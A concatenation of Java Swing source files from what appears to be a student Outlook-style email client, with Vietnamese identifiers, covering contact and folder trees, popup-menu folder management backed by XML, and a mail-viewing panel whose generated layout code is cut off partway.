public void TaoCay(ArrayList<MyContactDTO> cacContactDTO) throws SAXException, IOException, ParserConfigurationException{
DefaultTreeModel model = (DefaultTreeModel)getJTreeThuMucNguoiDung().getModel();
MutableTreeNode newNode = new DefaultMutableTreeNode("Contacts");
model.setRoot(newNode);
String strGroupHienTai = "";
String strGroupCuaPhanTuTiepTheo = "";
for (MyContactDTO contactDTO : cacContactDTO){
strGroupCuaPhanTuTiepTheo = layGroupCuaPhanTuTiepTheo(contactDTO);
if (!strGroupCuaPhanTuTiepTheo.equals(strGroupHienTai)){
strGroupHienTai = strGroupCuaPhanTuTiepTheo;
}
}
}
public void ThemXMLElementVaoTree(DefaultTreeModel model,Element ele,MutableTreeNode nodeCha){
MutableTreeNode newNode = new DefaultMutableTreeNode(ele.getAttribute("name"));
model.insertNodeInto(newNode, nodeCha, nodeCha.getChildCount());
for (int i =0;i<ele.getChildNodes().getLength();i++){
ThemXMLElementVaoTree(model, (Element)ele.getChildNodes().item(i), newNode);
}
}
/** Thay đổi icon của cây
*
*
*/
public void thayDoiIconCuaTree(){
// Retrieve the three icons
Icon leafIcon = new ImageIcon("leaf.gif");
Icon openIcon = new ImageIcon("open.gif");
Icon closedIcon = new ImageIcon("closed.gif");
// Update only one tree instance
DefaultTreeCellRenderer renderer = (DefaultTreeCellRenderer)jTreeThuMucNguoiDung.getCellRenderer();
renderer.setLeafIcon(leafIcon);
renderer.setClosedIcon(closedIcon);
renderer.setOpenIcon(openIcon);
// Remove the icons
renderer.setLeafIcon(null);
renderer.setClosedIcon(null);
renderer.setOpenIcon(null);
// Change defaults so that all new tree components will have new icons
UIManager.put("Tree.leafIcon", leafIcon);
UIManager.put("Tree.openIcon", openIcon);
UIManager.put("Tree.closedIcon", closedIcon);
// Create tree with new icons
//setJTreeThuMucNguoiDung(tree);
}
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JScrollPane jScrollPane1;
private javax.swing.JTree jTreeThuMucNguoiDung;
// End of variables declaration//GEN-END:variables
/**
* @return the jTreeThuMucNguoiDung
*/
public javax.swing.JTree getJTreeThuMucNguoiDung() {
return jTreeThuMucNguoiDung;
}
/**
* @param jTreeThuMucNguoiDung the jTreeThuMucNguoiDung to set
*/
public void setJTreeThuMucNguoiDung(javax.swing.JTree jTreeThuMucNguoiDung) {
this.jTreeThuMucNguoiDung = jTreeThuMucNguoiDung;
}
//<editor-fold defaultstate="collapsed" desc="Dung de phat sinh su kien">
//Các hàm sau phục vụ cho việc gởi sự kiện click chuột vào bảng ra ngoài (tham khảo từ nhiều nguồn trên mạng)
//http://www.exampledepot.com/egs/java.util/CustEvent.html
// Tạo một listener list
protected javax.swing.event.EventListenerList listenerList =
new javax.swing.event.EventListenerList();
/**
* Phát sinh sử kiện click chuột vào tree
* @param evt tham số cho sự kiện click chuột vào tree (ở đây là tên của file đang được chọn)
*/
// This private class is used to fire MyEvents
void initEvent_ClickChuotVaoCayDuyetFile(String evt) {
Object[] listeners = listenerList.getListenerList();
// Each listener occupies two elements - the first is the listener class
// and the second is the listener instance
for (int i = 0; i < listeners.length; i += 2) {
if (listeners[i] == EventListener_ClickChuotVaoCayDuyetFile.class) {
((EventListener_ClickChuotVaoCayDuyetFile) listeners[i + 1]).Event_ClickChuotVaoCayDuyetFile_Occurred(evt);
}
}
}
/**
* Đăng ký sự kiện cho classes
* @param listener Sự kiện cần đăng ký
*/
public void addEventListener_ClickChuotVaoCayDuyetFile(EventListener_ClickChuotVaoCayDuyetFile listener) {
listenerList.add(EventListener_ClickChuotVaoCayDuyetFile.class, listener);
}
/**
* Gỡ bỏ sự kiện khỏi classes
* @param listener Sự kiện cần gỡ bỏ
*/
public void delEventListener_ClickChuotVaoCayDuyetFile(EventListener_ClickChuotVaoCayDuyetFile listener) {
listenerList.remove(EventListener_ClickChuotVaoCayDuyetFile.class, listener);
}
/**
* @return the m_popupMenu
*/
public JPopupMenu getM_popupMenu() {
return m_popupMenu;
}
private String layGroupCuaPhanTuTiepTheo(MyContactDTO contactDTO) {
String strGroupCuaPhanTuTiepTheo = "";
switch (m_ThuocTinhGroupBy) {
case Adress:
{
strGroupCuaPhanTuTiepTheo = contactDTO.getM_Email();
break;
}
case Company:
{
strGroupCuaPhanTuTiepTheo = contactDTO.getM_CongTy();
break;
}
default:
{
break;
}
}
return strGroupCuaPhanTuTiepTheo;
}
//</editor-fold>
}
| 0512324-0512328-0512333-mailclient | trunk/ 0512324-0512328-0512333-mailclient/DoAnLyThuyet_JavaOutLook/src/doanlythuyet_javaoutlook/MyUserControl/JPanel_HienThiContact.java | Java | asf20 | 14,323 |
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package doanlythuyet_javaoutlook.MyUserControl;
import BUS.MyMailBUS;
import doanlythuyet_javaoutlook.DoAnLyThuyet_JavaOutLookApp;
import doanlythuyet_javaoutlook.DoAnLyThuyet_JavaOutLookView;
import doanlythuyet_javaoutlook.EventListener_ClickChuotVaoCayDuyetFile;
import doanlythuyet_javaoutlook.MyUserControl.JDialog_NhapTenThuMuc;
import java.awt.event.MouseEvent;
import java.awt.event.MouseListener;
import java.io.IOException;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.swing.JMenuItem;
import javax.swing.JOptionPane;
import javax.swing.JPopupMenu;
import doanlythuyet_javaoutlook.MyUserControl.JTreeFromXMLFile;
import java.io.File;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.transform.TransformerConfigurationException;
import javax.xml.transform.TransformerException;
import org.xml.sax.SAXException;
/**
*
* @author Administrator
*/
public class PopupMenu_MouseListerner_MyCayHienThiThuMuc implements MouseListener{
private String m_HanhViDuocChon;
private String sdataPath;
//public String m_ThuMucDangChon;
public PopupMenu_MouseListerner_MyCayHienThiThuMuc(String hanhVi){
m_HanhViDuocChon = hanhVi;
listenerList =
new javax.swing.event.EventListenerList();
}
public void mouseClicked(MouseEvent e) {
//throw new UnsupportedOperationException("Not supported yet.");
}
public void mousePressed(MouseEvent e) {
//throw new UnsupportedOperationException("Not supported yet.");
//JOptionPane.showMessageDialog(null, "Hanh vi duoc chon: " + m_HanhViDuocChon + "xu ly code tai dong file popupmenu_mycay....java");
String strPath = ((JPopupMenu) ((JMenuItem)e.getSource()).getParent()).getToolTipText();
//String dataPath = DoAnLyThuyet_JavaOutLookApp.getCurdir() + "\\src\\Database\\";
// dataPath = this.getClass().getResource("/Database/").getPath().replace("%20", " ").substring(6);
//strPath = ;
String fileName = "XML_ThuMucNguoiDung.xml";
String strFileName = new File(".").getAbsolutePath() + "\\Database\\" + fileName;
//JOptionPane.showMessageDialog(null, strFileName);
JTreeFromXMLFile tree = new JTreeFromXMLFile(strFileName, false);
//Xử Lý Thêm Thư Mục
if (m_HanhViDuocChon.equals("Thêm mới")){
try {
JDialog_NhapTenThuMuc dialog = new JDialog_NhapTenThuMuc(null, true);
dialog.setVisible(true);
String tenThuMuc = dialog.getTenThuMuc();
dialog.dispose();
if (tenThuMuc.equals(""))
return;
tree.ThemThuMucMoiVaoXML(strPath, dialog.getTenThuMuc(), strFileName);
} catch (ParserConfigurationException ex) {
Logger.getLogger(PopupMenu_MouseListerner_MyCayHienThiThuMuc.class.getName()).log(Level.SEVERE, null, ex);
} catch (IOException ex) {
Logger.getLogger(PopupMenu_MouseListerner_MyCayHienThiThuMuc.class.getName()).log(Level.SEVERE, null, ex);
} catch (SAXException ex) {
Logger.getLogger(PopupMenu_MouseListerner_MyCayHienThiThuMuc.class.getName()).log(Level.SEVERE, null, ex);
} catch (TransformerConfigurationException ex) {
Logger.getLogger(PopupMenu_MouseListerner_MyCayHienThiThuMuc.class.getName()).log(Level.SEVERE, null, ex);
} catch (TransformerException ex) {
Logger.getLogger(PopupMenu_MouseListerner_MyCayHienThiThuMuc.class.getName()).log(Level.SEVERE, null, ex);
}
}
else if (m_HanhViDuocChon.equals("Xóa")){
try {
tree.XoaThuMucTrongXML(strPath, strFileName);
} catch (ParserConfigurationException ex) {
Logger.getLogger(PopupMenu_MouseListerner_MyCayHienThiThuMuc.class.getName()).log(Level.SEVERE, null, ex);
} catch (IOException ex) {
Logger.getLogger(PopupMenu_MouseListerner_MyCayHienThiThuMuc.class.getName()).log(Level.SEVERE, null, ex);
} catch (SAXException ex) {
Logger.getLogger(PopupMenu_MouseListerner_MyCayHienThiThuMuc.class.getName()).log(Level.SEVERE, null, ex);
} catch (TransformerConfigurationException ex) {
Logger.getLogger(PopupMenu_MouseListerner_MyCayHienThiThuMuc.class.getName()).log(Level.SEVERE, null, ex);
} catch (TransformerException ex) {
Logger.getLogger(PopupMenu_MouseListerner_MyCayHienThiThuMuc.class.getName()).log(Level.SEVERE, null, ex);
}
}
else if (m_HanhViDuocChon.equals("Đổi Tên")){
try {
JDialog_NhapTenThuMuc dialog = new JDialog_NhapTenThuMuc(null, true);
dialog.setVisible(true);
String tenThuMuc = dialog.getTenThuMuc();
dialog.dispose();
if (tenThuMuc.equals(""))
return;
tree.DoiTenThuMucTrongXML(strPath, dialog.getTenThuMuc(), strFileName);
} catch (ParserConfigurationException ex) {
Logger.getLogger(PopupMenu_MouseListerner_MyCayHienThiThuMuc.class.getName()).log(Level.SEVERE, null, ex);
} catch (IOException ex) {
Logger.getLogger(PopupMenu_MouseListerner_MyCayHienThiThuMuc.class.getName()).log(Level.SEVERE, null, ex);
} catch (SAXException ex) {
Logger.getLogger(PopupMenu_MouseListerner_MyCayHienThiThuMuc.class.getName()).log(Level.SEVERE, null, ex);
} catch (TransformerConfigurationException ex) {
Logger.getLogger(PopupMenu_MouseListerner_MyCayHienThiThuMuc.class.getName()).log(Level.SEVERE, null, ex);
} catch (TransformerException ex) {
Logger.getLogger(PopupMenu_MouseListerner_MyCayHienThiThuMuc.class.getName()).log(Level.SEVERE, null, ex);
}
}
//vẽ lại cây
try {
tree.TaoCay();
DoAnLyThuyet_JavaOutLookView.getJTree_ThuMucTrenMay().getJTreeThuMucNguoiDung().setModel(tree.getJTreeThuMucNguoiDung().getModel());
} catch (SAXException ex) {
Logger.getLogger(PopupMenu_MouseListerner_MyBangDanhSachFile.class.getName()).log(Level.SEVERE, null, ex);
} catch (IOException ex) {
Logger.getLogger(PopupMenu_MouseListerner_MyBangDanhSachFile.class.getName()).log(Level.SEVERE, null, ex);
} catch (ParserConfigurationException ex) {
Logger.getLogger(PopupMenu_MouseListerner_MyBangDanhSachFile.class.getName()).log(Level.SEVERE, null, ex);
}
// ThemThuMucMoiVaoXML(strPath,"New folder");
}
public void mouseReleased(MouseEvent e) {
//throw new UnsupportedOperationException("Not supported yet.");
}
public void mouseEntered(MouseEvent e) {
//throw new UnsupportedOperationException("Not supported yet.");
}
public void mouseExited(MouseEvent e) {
//throw new UnsupportedOperationException("Not supported yet.");
}
//<editor-fold defaultstate="collapsed" desc="Dung de phat sinh su kien">
//Các hàm sau phục vụ cho việc gởi sự kiện click chuột vào bảng ra ngoài (tham khảo từ nhiều nguồn trên mạng)
//http://www.exampledepot.com/egs/java.util/CustEvent.html
// Tạo một listener list
protected javax.swing.event.EventListenerList listenerList =
new javax.swing.event.EventListenerList();
/**
* Phát sinh sử kiện click chuột vào tree
* @param evt tham số cho sự kiện click chuột vào tree (ở đây là tên của file đang được chọn)
*/
// This private class is used to fire MyEvents
void initEvent_ClickChuotVaoCayDuyetFile(String evt) {
Object[] listeners = listenerList.getListenerList();
// Each listener occupies two elements - the first is the listener class
// and the second is the listener instance
for (int i = 0; i < listeners.length; i += 2) {
if (listeners[i] == EventListener_ClickChuotVaoCayDuyetFile.class) {
((EventListener_ClickChuotVaoCayDuyetFile) listeners[i + 1]).Event_ClickChuotVaoCayDuyetFile_Occurred(evt);
}
}
}
/**
* Đăng ký sự kiện cho classes
* @param listener Sự kiện cần đăng ký
*/
public void addEventListener_ClickChuotVaoCayDuyetFile(EventListener_ClickChuotVaoCayDuyetFile listener) {
listenerList.add(EventListener_ClickChuotVaoCayDuyetFile.class, listener);
}
/**
* Gỡ bỏ sự kiện khỏi classes
* @param listener Sự kiện cần gỡ bỏ
*/
public void delEventListener_ClickChuotVaoCayDuyetFile(EventListener_ClickChuotVaoCayDuyetFile listener) {
listenerList.remove(EventListener_ClickChuotVaoCayDuyetFile.class, listener);
}
//</editor-fold>
} | 0512324-0512328-0512333-mailclient | trunk/ 0512324-0512328-0512333-mailclient/DoAnLyThuyet_JavaOutLook/src/doanlythuyet_javaoutlook/MyUserControl/PopupMenu_MouseListerner_MyCayHienThiThuMuc.java | Java | asf20 | 9,401 |
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package doanlythuyet_javaoutlook.MyUserControl;
import java.util.ArrayList;
/**
*
* @author Administrator
*/
public class jClass_ChuDe {
private static ArrayList<String> cacChuDe = new ArrayList<String>();
/**
* @return the cacChuDe
*/
public static ArrayList<String> getCacChuDe() {
return cacChuDe;
}
/**
* @param aCacChuDe the cacChuDe to set
*/
public static void setCacChuDe(ArrayList<String> aCacChuDe) {
cacChuDe = aCacChuDe;
}
public jClass_ChuDe(){
cacChuDe.add("Không có");
cacChuDe.add("<html><head></head><body><b style='color:red'>Khẩn cấp<b><body>");
cacChuDe.add("<html><head></head><body><b style='color:blue'>Chậm<b><body>");
cacChuDe.add("<html><head></head><body><b style='color:green'>Xong<b><body>");
}
public static void Them (String ten){
getCacChuDe().add(ten);
}
public static void Xoa (String ten){
getCacChuDe().remove(ten);
}
public static int LaySTT (String ten){
return getCacChuDe().indexOf(ten);
}
public static String LayTen (int index){
return getCacChuDe().get(index);
}
}
| 0512324-0512328-0512333-mailclient | trunk/ 0512324-0512328-0512333-mailclient/DoAnLyThuyet_JavaOutLook/src/doanlythuyet_javaoutlook/MyUserControl/jClass_ChuDe.java | Java | asf20 | 1,293 |
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
/*
* JPanel_XemMail.java
*
* Created on May 27, 2009, 9:23:59 AM
*/
package doanlythuyet_javaoutlook.MyUserControl;
import BUS.MyAttachBUS;
import BUS.MyMailBUS;
import DTO.MyMailDTO;
import doanlythuyet_javaoutlook.DoAnLyThuyet_JavaOutLookApp;
import doanlythuyet_javaoutlook.MyEmum.JEnum_TinhTrang;
import doanlythuyet_javaoutlook.MyMail;
import java.awt.Component;
import java.awt.event.ItemEvent;
import java.awt.event.ItemListener;
import java.awt.event.MouseEvent;
import java.awt.event.MouseListener;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.Hashtable;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.mail.Part;
import javax.mail.Session;
import javax.mail.internet.MimeMessage;
import javax.swing.AbstractButton;
import javax.swing.DefaultComboBoxModel;
import javax.swing.DefaultListModel;
import javax.swing.Icon;
import javax.swing.ImageIcon;
import javax.swing.JCheckBox;
import javax.swing.JComboBox;
import javax.swing.JMenuItem;
import javax.swing.JOptionPane;
import javax.swing.JPopupMenu;
import javax.swing.JTable;
import javax.swing.UIManager;
import javax.swing.event.MouseInputListener;
import javax.swing.table.DefaultTableModel;
import javax.swing.table.JTableHeader;
import javax.swing.table.TableCellRenderer;
import javax.swing.table.TableColumn;
import javax.swing.table.TableColumnModel;
import javax.swing.table.TableModel;
/**
*
* @author Dang Thi Phuong Thao
*/
public class JPanel_XemMail extends javax.swing.JPanel {
//private Boolean tatCaDuocChon = false;
private final JPopupMenu popupMenu;
/**
* lay cac id mail duoc danh dau check trong bang
* @return
*/
public ArrayList<Integer> LayCacIdMailDuocChon (){
ArrayList<Integer> Kq = new ArrayList<Integer>();
for (int i = 0; i < jTable_danhsachmail.getRowCount(); i++)
if (jTable_danhsachmail.getValueAt(i, 0) != null && (Boolean)jTable_danhsachmail.getValueAt(i, 0))
Kq.add(Integer.parseInt(jTable_danhsachmail.getValueAt(i, jTable_danhsachmail.getColumnCount() - 1).toString()));
return Kq;
}
private void ChuyenMailDTOLenGiaoDien (MyMailDTO mailDTO){
FileInputStream inputStream = null;
try {
jLabel_chude.setText(mailDTO.getM_ChuDe());
jLabel_goitu.setText(mailDTO.getM_NguoiGoi());
jLabel_den.setText(mailDTO.getM_NguoiNhan());
jLabel_ngay.setText(mailDTO.getM_Ngay().toString());
inputStream = new FileInputStream(new File(DoAnLyThuyet_JavaOutLookApp.getCurdir() + mailDTO.getM_DuongDanFileChuaNoiDung()));
MyMail mail = new MyMail(DoAnLyThuyet_JavaOutLookApp.getSmtp_host(), DoAnLyThuyet_JavaOutLookApp.getPop3_host(), DoAnLyThuyet_JavaOutLookApp.getUser()
, DoAnLyThuyet_JavaOutLookApp.getPass(), DoAnLyThuyet_JavaOutLookApp.getProxy(), DoAnLyThuyet_JavaOutLookApp.getPort());
Session sess = mail.getMailSession(false);
MimeMessage mess = new MimeMessage(sess, inputStream);
Part textPart = MyMail.layPartNoiDung(mess);
if (textPart != null){
jEditorPane_chitietmail.setContentType(textPart.getContentType());
jEditorPane_chitietmail.setText(textPart.getContent().toString());
}
else{
jEditorPane_chitietmail.setText(mess.getContent().toString());
}
} catch (Exception ex) {
Logger.getLogger(JPanel_XemMail.class.getName()).log(Level.SEVERE, null, ex);
JOptionPane.showMessageDialog(null, ex.toString());
}
try {
inputStream.close();
} catch (IOException ex) {
Logger.getLogger(JPanel_XemMail.class.getName()).log(Level.SEVERE, null, ex);
}
}
private void XemSoLuocMail (int MailID){
try {
jEditorPane_chitietmail.setText("viet ham lay Mine Message cua mailid: " + MailID + " (file JPanel_XamMail.java dong 55)");
MyMailBUS mailBUS = new MyMailBUS();
MyMailDTO mailDTO = mailBUS.layMailVoidMailID(String.valueOf(MailID));
if (mailDTO.getM_TinhTrang() == JEnum_TinhTrang.Moi.value()){
mailDTO.setM_TinhTrang(JEnum_TinhTrang.DaXem.value());
mailBUS.capNhatMail(mailDTO);
refreshBang(mailBUS);
}
if (mailDTO != null)
ChuyenMailDTOLenGiaoDien(mailDTO);
else return;
} catch (IOException ex) {
Logger.getLogger(JPanel_XemMail.class.getName()).log(Level.SEVERE, null, ex);
}
}
/** Creates new form JPanel_XemMail */
public JPanel_XemMail() {
initComponents();
DefaultComboBoxModel model = new DefaultComboBoxModel();
jClass_ChuDe cacChuDe = new jClass_ChuDe();
for (String str : jClass_ChuDe.getCacChuDe()){
model.addElement(str);
}
//model.addElement("Thêm mới!");
jComboBox1.setModel(model);
popupMenu = new JPopupMenu();
String[] cacHanhVi = {"Di Chuyen", "Copy", "Xoa"};
for (String HanhVi : cacHanhVi)
{
JMenuItem menuItem = new JMenuItem(HanhVi);
menuItem.addMouseListener(new PopupMenu_MouseListerner_MyBangDanhSachFile(menuItem.getText()));
popupMenu.add(menuItem);
}
jTable_danhsachmail.addMouseListener(new MouseInputListener() {
public void mouseClicked(MouseEvent e) {
if (e.isPopupTrigger()){
//popupMenu.getComponentAt(e.getX(), e.getY()).get
//return;
}
if (jTable_danhsachmail.getSelectedRow() == -1)
return;
//if (e.getButton() == MouseEvent.BUTTON1){
int row = jTable_danhsachmail.getSelectedRow();
//(PopupMenu_MouseListerner_MyBangDanhSachFile) popupMenu.getli
//jTable_danhsachmail.getColumnModel().getColumn(1).getCellEditor().getCellEditorValue()
//int MailID = Integer.getInteger(jTable_danhsachmail.getValueAt(row, jTable_danhsachmail.getColumnCount() - 1).toString());
String strMailID = jTable_danhsachmail.getValueAt(row, jTable_danhsachmail.getColumnCount() - 1).toString();
getPopupMenu().setToolTipText(strMailID);
//int MailID = Integer.valueOf(strMailID);
int MailID = Integer.valueOf(strMailID);
//if (e.getClickCount() == 1){
//JOptionPane.showMessageDialog(null, MailID);
//jLabel_chude.setText(String.valueOf(MailID));
//jLabel_chude.setText(String.valueOf(MailID));
XemSoLuocMail(MailID);
//}
if (e.getClickCount() == 2 && e.getButton() == MouseEvent.BUTTON1){
JFrame_ChiTietMail chiTietMail = new JFrame_ChiTietMail(MailID);
chiTietMail.setVisible(true);
}
//}
if (e.getButton() == MouseEvent.BUTTON3) {
getPopupMenu().show(e.getComponent(), e.getX(), e.getY());
//return;
}
//throw new UnsupportedOperationException("Not supported yet.");
}
public void mousePressed(MouseEvent e) {
//throw new UnsupportedOperationException("Not supported yet.");
}
public void mouseReleased(MouseEvent e) {
//throw new UnsupportedOperationException("Not supported yet.");
}
public void mouseEntered(MouseEvent e) {
//throw new UnsupportedOperationException("Not supported yet.");
}
public void mouseExited(MouseEvent e) {
//throw new UnsupportedOperationException("Not supported yet.");
}
public void mouseDragged(MouseEvent e) {
//throw new UnsupportedOperationException("Not supported yet.");
}
public void mouseMoved(MouseEvent e) {
//throw new UnsupportedOperationException("Not supported yet.");
}
});
//DuaDanhSachMailVaoBang(DanhSachMail);
}
public void ThemDongVaoBang (JTable table, Object[][] CacGiaTri){
DefaultTableModel model = (DefaultTableModel) table.getModel();
//model
}
public void XoaDongTrongBang (JTable table, int[] Indexs){
DefaultTableModel model = (DefaultTableModel) table.getModel();
//model.
}
/** This method is called from within the constructor to
* initialize the form.
* WARNING: Do NOT modify this code. The content of this method is
* always regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
jSplitPane1 = new javax.swing.JSplitPane();
jPanel_DanhSachMail = new javax.swing.JPanel();
jScrollPane1 = new javax.swing.JScrollPane();
jToolBar1 = new javax.swing.JToolBar();
jButton_Xoa = new javax.swing.JButton();
jSeparator1 = new javax.swing.JToolBar.Separator();
jButton_DDDaDoc = new javax.swing.JButton();
jButtonDDChuaDoc = new javax.swing.JButton();
jSeparator2 = new javax.swing.JToolBar.Separator();
jButton_DiChuyen = new javax.swing.JButton();
jSeparator3 = new javax.swing.JToolBar.Separator();
jLabel5 = new javax.swing.JLabel();
jComboBox1 = new javax.swing.JComboBox();
jPanel_ChiTietMail = new javax.swing.JPanel();
jScrollPane2 = new javax.swing.JScrollPane();
jEditorPane_chitietmail = new javax.swing.JEditorPane();
jPanel1 = new javax.swing.JPanel();
jLabel1 = new javax.swing.JLabel();
jLabel_chude = new javax.swing.JLabel();
jLabel2 = new javax.swing.JLabel();
jLabel_goitu = new javax.swing.JLabel();
jLabel4 = new javax.swing.JLabel();
jLabel_ngay = new javax.swing.JLabel();
jLabel_den = new javax.swing.JLabel();
jLabel3 = new javax.swing.JLabel();
setName("Form"); // NOI18N
addAncestorListener(new javax.swing.event.AncestorListener() {
public void ancestorMoved(javax.swing.event.AncestorEvent evt) {
}
public void ancestorAdded(javax.swing.event.AncestorEvent evt) {
formAncestorAdded(evt);
}
public void ancestorRemoved(javax.swing.event.AncestorEvent evt) {
}
});
jSplitPane1.setDividerLocation(200);
jSplitPane1.setOrientation(javax.swing.JSplitPane.VERTICAL_SPLIT);
jSplitPane1.setName("jSplitPane1"); // NOI18N
org.jdesktop.application.ResourceMap resourceMap = org.jdesktop.application.Application.getInstance(doanlythuyet_javaoutlook.DoAnLyThuyet_JavaOutLookApp.class).getContext().getResourceMap(JPanel_XemMail.class);
jPanel_DanhSachMail.setForeground(resourceMap.getColor("jPanel_DanhSachMail.foreground")); // NOI18N
jPanel_DanhSachMail.setFont(resourceMap.getFont("jPanel_DanhSachMail.font")); // NOI18N
jPanel_DanhSachMail.setName("jPanel_DanhSachMail"); // NOI18N
jScrollPane1.setName("jScrollPane1"); // NOI18N
jToolBar1.setRollover(true);
jToolBar1.setName("jToolBar1"); // NOI18N
jButton_Xoa.setIcon(resourceMap.getIcon("jButton_Xoa.icon")); // NOI18N
jButton_Xoa.setText(resourceMap.getString("jButton_Xoa.text")); // NOI18N
jButton_Xoa.setFocusable(false);
jButton_Xoa.setHorizontalTextPosition(javax.swing.SwingConstants.CENTER);
jButton_Xoa.setName("jButton_Xoa"); // NOI18N
jButton_Xoa.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
jButton_Xoa.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton_XoaActionPerformed(evt);
}
});
jToolBar1.add(jButton_Xoa);
jSeparator1.setName("jSeparator1"); // NOI18N
jToolBar1.add(jSeparator1);
jButton_DDDaDoc.setIcon(resourceMap.getIcon("jButton_DDDaDoc.icon")); // NOI18N
jButton_DDDaDoc.setText(resourceMap.getString("jButton_DDDaDoc.text")); // NOI18N
jButton_DDDaDoc.setFocusable(false);
jButton_DDDaDoc.setHorizontalTextPosition(javax.swing.SwingConstants.CENTER);
jButton_DDDaDoc.setName("jButton_DDDaDoc"); // NOI18N
jButton_DDDaDoc.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
jButton_DDDaDoc.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton_DDDaDocActionPerformed(evt);
}
});
jToolBar1.add(jButton_DDDaDoc);
jButtonDDChuaDoc.setIcon(resourceMap.getIcon("jButtonDDChuaDoc.icon")); // NOI18N
jButtonDDChuaDoc.setText(resourceMap.getString("jButtonDDChuaDoc.text")); // NOI18N
jButtonDDChuaDoc.setFocusable(false);
jButtonDDChuaDoc.setHorizontalTextPosition(javax.swing.SwingConstants.CENTER);
jButtonDDChuaDoc.setName("jButtonDDChuaDoc"); // NOI18N
jButtonDDChuaDoc.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
jButtonDDChuaDoc.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButtonDDChuaDocActionPerformed(evt);
}
});
jToolBar1.add(jButtonDDChuaDoc);
jSeparator2.setName("jSeparator2"); // NOI18N
jToolBar1.add(jSeparator2);
jButton_DiChuyen.setIcon(resourceMap.getIcon("jButton_DiChuyen.icon")); // NOI18N
jButton_DiChuyen.setText(resourceMap.getString("jButton_DiChuyen.text")); // NOI18N
jButton_DiChuyen.setFocusable(false);
jButton_DiChuyen.setHorizontalTextPosition(javax.swing.SwingConstants.CENTER);
jButton_DiChuyen.setName("jButton_DiChuyen"); // NOI18N
jButton_DiChuyen.setVerticalTextPosition(javax.swing.SwingConstants.BOTTOM);
jButton_DiChuyen.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton_DiChuyenActionPerformed(evt);
}
});
jToolBar1.add(jButton_DiChuyen);
jSeparator3.setName("jSeparator3"); // NOI18N
jToolBar1.add(jSeparator3);
jLabel5.setText(resourceMap.getString("jLabel5.text")); // NOI18N
jLabel5.setName("jLabel5"); // NOI18N
jToolBar1.add(jLabel5);
jComboBox1.setModel(new javax.swing.DefaultComboBoxModel(new String[] { "Item 1", "Item 2", "Item 3", "Item 4" }));
jComboBox1.setName("jComboBox1"); // NOI18N
jComboBox1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jComboBox1ActionPerformed(evt);
}
});
jToolBar1.add(jComboBox1);
javax.swing.GroupLayout jPanel_DanhSachMailLayout = new javax.swing.GroupLayout(jPanel_DanhSachMail);
jPanel_DanhSachMail.setLayout(jPanel_DanhSachMailLayout);
jPanel_DanhSachMailLayout.setHorizontalGroup(
jPanel_DanhSachMailLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 557, Short.MAX_VALUE)
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel_DanhSachMailLayout.createSequentialGroup()
.addContainerGap()
.addComponent(jToolBar1, javax.swing.GroupLayout.DEFAULT_SIZE, 537, Short.MAX_VALUE)
.addContainerGap())
);
jPanel_DanhSachMailLayout.setVerticalGroup(
jPanel_DanhSachMailLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel_DanhSachMailLayout.createSequentialGroup()
.addGap(11, 11, 11)
.addComponent(jToolBar1, javax.swing.GroupLayout.PREFERRED_SIZE, 47, Short.MAX_VALUE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 190, javax.swing.GroupLayout.PREFERRED_SIZE))
);
jSplitPane1.setTopComponent(jPanel_DanhSachMail);
jPanel_ChiTietMail.setName("jPanel_ChiTietMail"); // NOI18N
jScrollPane2.setName("jScrollPane2"); // NOI18N
jEditorPane_chitietmail.setContentType(resourceMap.getString("jEditorPane_chitietmail.contentType")); // NOI18N
jEditorPane_chitietmail.setName("jEditorPane_chitietmail"); // NOI18N
jScrollPane2.setViewportView(jEditorPane_chitietmail);
jPanel1.setBorder(javax.swing.BorderFactory.createTitledBorder(resourceMap.getString("jPanel1.border.title"))); // NOI18N
jPanel1.setName("jPanel1"); // NOI18N
jLabel1.setText(resourceMap.getString("jLabel1.text")); // NOI18N
jLabel1.setName("jLabel1"); // NOI18N
jLabel_chude.setBackground(resourceMap.getColor("jLabel_chude.background")); // NOI18N
jLabel_chude.setFont(resourceMap.getFont("jLabel_chude.font")); // NOI18N
jLabel_chude.setForeground(resourceMap.getColor("jLabel_chude.foreground")); // NOI18N
jLabel_chude.setText(resourceMap.getString("jLabel_chude.text")); // NOI18N
jLabel_chude.setName("jLabel_chude"); // NOI18N
jLabel2.setText(resourceMap.getString("jLabel2.text")); // NOI18N
jLabel2.setName("jLabel2"); // NOI18N
jLabel_goitu.setFont(resourceMap.getFont("jLabel_goitu.font")); // NOI18N
jLabel_goitu.setForeground(resourceMap.getColor("jLabel_goitu.foreground")); // NOI18N
jLabel_goitu.setText(resourceMap.getString("jLabel_goitu.text")); // NOI18N
jLabel_goitu.setName("jLabel_goitu"); // NOI18N
jLabel4.setText(resourceMap.getString("jLabel4.text")); // NOI18N
jLabel4.setName("jLabel4"); // NOI18N
